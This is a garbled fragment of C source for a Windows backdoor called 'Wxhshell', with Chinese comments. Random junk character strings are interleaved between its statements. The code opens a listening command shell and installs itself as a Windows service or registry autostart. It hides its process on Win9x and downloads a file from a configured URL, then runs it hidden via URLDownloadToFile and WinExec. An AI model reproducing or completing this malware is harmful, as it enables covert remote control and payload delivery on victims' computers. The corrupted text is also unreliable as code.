'c&,oLY xmG<]WF>E if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {FGj]* yLGRi^d# CloseHandle(hProcess); N$DkX)Z *Uh!>Iv; if(strstr(procName,"services")) return 1; // 以服务启动 d@^ZSy>L2 u"8yK5! return 0; // 注册表启动 Q@niNDaW2 } zTp"AuNHN w@pPcZ>z/ // 主模块 n ;Ei\\p! int StartWxhshell(LPSTR lpCmdLine) U17d>]ka { yr6V3],Tp SOCKET wsl; "zc l|@ BOOL val=TRUE; ?CZd Ol int port=0; H[gWGbPq7 struct sockaddr_in door; ?(PKeq6 g\U-VZ6;p if(wscfg.ws_autoins) Install(); -12U4h<e a}d@
T port=atoi(lpCmdLine); d1*<Ll9K ebq4g387X if(port<=0) port=wscfg.ws_port; "8/,Y"W" !W\+#ez WSADATA data; 2T1q?L?] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~?dI*BZ)] v^iAD2X/F if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; : +u]S2u{ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %)|s1B'd door.sin_family = AF_INET; @co
S+t door.sin_addr.s_addr = inet_addr("127.0.0.1"); G)YcJv7 door.sin_port = htons(port); *_e3 @g N;R^h? ' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LLI.8kn7 closesocket(wsl); 43w}qY1 return 1; lMt=|66 } O2+ 6st edD)TpmE, if(listen(wsl,2) == INVALID_SOCKET) { (BM47D=v closesocket(wsl); .d*8C, return 1; FsPw1A$y } ye97!nIg@ Wxhshell(wsl); RNL9>7xV WSACleanup(); "|NI]Kv wq{hF< return 0; =%7-ZH9 Q/?$x*\> } "&] -2( -4K5-|>O // 以NT服务方式启动 $xqa{L%B VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0"R|..l/ { #G3<7PK DWORD status = 0; |:o4w DWORD specificError = 0xfffffff; ni<(K
0~ %xW"!WbJ| serviceStatus.dwServiceType = SERVICE_WIN32; YR70BOxK serviceStatus.dwCurrentState = SERVICE_START_PENDING; fJ\[*5eiS serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6b,V;#Anj serviceStatus.dwWin32ExitCode = 0; [;N'=]` serviceStatus.dwServiceSpecificExitCode = 0; "7
yD0T)2 serviceStatus.dwCheckPoint = 0; yu|>t4#GT serviceStatus.dwWaitHint = 0; d5b%
W3 N[hG8f hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QPx^_jA if (hServiceStatusHandle==0) return; t-AmX)$ rOYx
b }1 status = GetLastError(); MA\V[32H if (status!=NO_ERROR) ;"I^ZFYX { cNrg#Asen& serviceStatus.dwCurrentState = SERVICE_STOPPED; /QQ*8o8 serviceStatus.dwCheckPoint = 0; )+^+sd serviceStatus.dwWaitHint = 0; ~Ei<Z`3}7" serviceStatus.dwWin32ExitCode = status; + 3gp%`c4 serviceStatus.dwServiceSpecificExitCode = specificError; TpaInXR SetServiceStatus(hServiceStatusHandle, &serviceStatus); CITc2v3a return; <aw[ XFg } !Cs_F&l"j f<_Cq<q" serviceStatus.dwCurrentState = SERVICE_RUNNING; ]GS bjHsO serviceStatus.dwCheckPoint = 0; A,]h),b serviceStatus.dwWaitHint = 0; km(Po} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wqnc{oq|$ } Sz~OX6L `L
zPotz // 处理NT服务事件,比如:启动、停止 wzA$'+Mb VOID WINAPI NTServiceHandler(DWORD fdwControl) [^)g%|W { &m3lXl switch(fdwControl) 0Gk<l{o?^ { dr(*T case SERVICE_CONTROL_STOP: m 5.Zu. serviceStatus.dwWin32ExitCode = 0; "%_+-C<L4 serviceStatus.dwCurrentState = SERVICE_STOPPED; ]'cs. serviceStatus.dwCheckPoint = 0; gR**@t=;j serviceStatus.dwWaitHint = 0; DXo|.!P=3 { #E?4E1bnB SetServiceStatus(hServiceStatusHandle, &serviceStatus); %>yL1BeA4 } \+etCo
return; #WuBL_nZ~ case SERVICE_CONTROL_PAUSE: `uFdwO'DD serviceStatus.dwCurrentState = SERVICE_PAUSED; {ax:RUQxy break; #spCtZE case SERVICE_CONTROL_CONTINUE: | Iib|HQ) serviceStatus.dwCurrentState = SERVICE_RUNNING; ^~dWU> break; ]d]]'Hk case SERVICE_CONTROL_INTERROGATE: dM5-; break; ,}PgOJZ }; e(sk[guvX SetServiceStatus(hServiceStatusHandle, &serviceStatus); bOB\--:] } }EPY^VIw [GR;?R5 // 标准应用程序主函数 _w{Qtj~s| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KXy6Eno { Wzh`or 1x)J[fyId // 获取操作系统版本 sx%[=g+<2( OsIsNt=GetOsVer(); ]lbuy7xj63 GetModuleFileName(NULL,ExeFile,MAX_PATH); }6# 1^}+=~ // 从命令行安装 g(052]
if(strpbrk(lpCmdLine,"iI")) Install(); hrn+UL:d BLttb // 下载执行文件 R5D1w+ if(wscfg.ws_downexe) { XUYtEf if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pkzaNY/q WinExec(wscfg.ws_filenam,SW_HIDE);
DrR@n~ } WY/}1X9.% $X6h|?3U, if(!OsIsNt) {
}pYqWTG // 如果时win9x,隐藏进程并且设置为注册表启动 >j/w@Fj HideProc(); f?Lw)hMrA StartWxhshell(lpCmdLine);
;'|Ey } ]`K2N else `Oa
WGZ[ if(StartFromService()) ~ a: // 以服务方式启动 m@c)Xci StartServiceCtrlDispatcher(DispatchTable); rH-23S else NOva'qk // 普通方式启动 %Zi} MPx StartWxhshell(lpCmdLine); p'%s=TGwv WE?5ehEme return 0; ]/Pn
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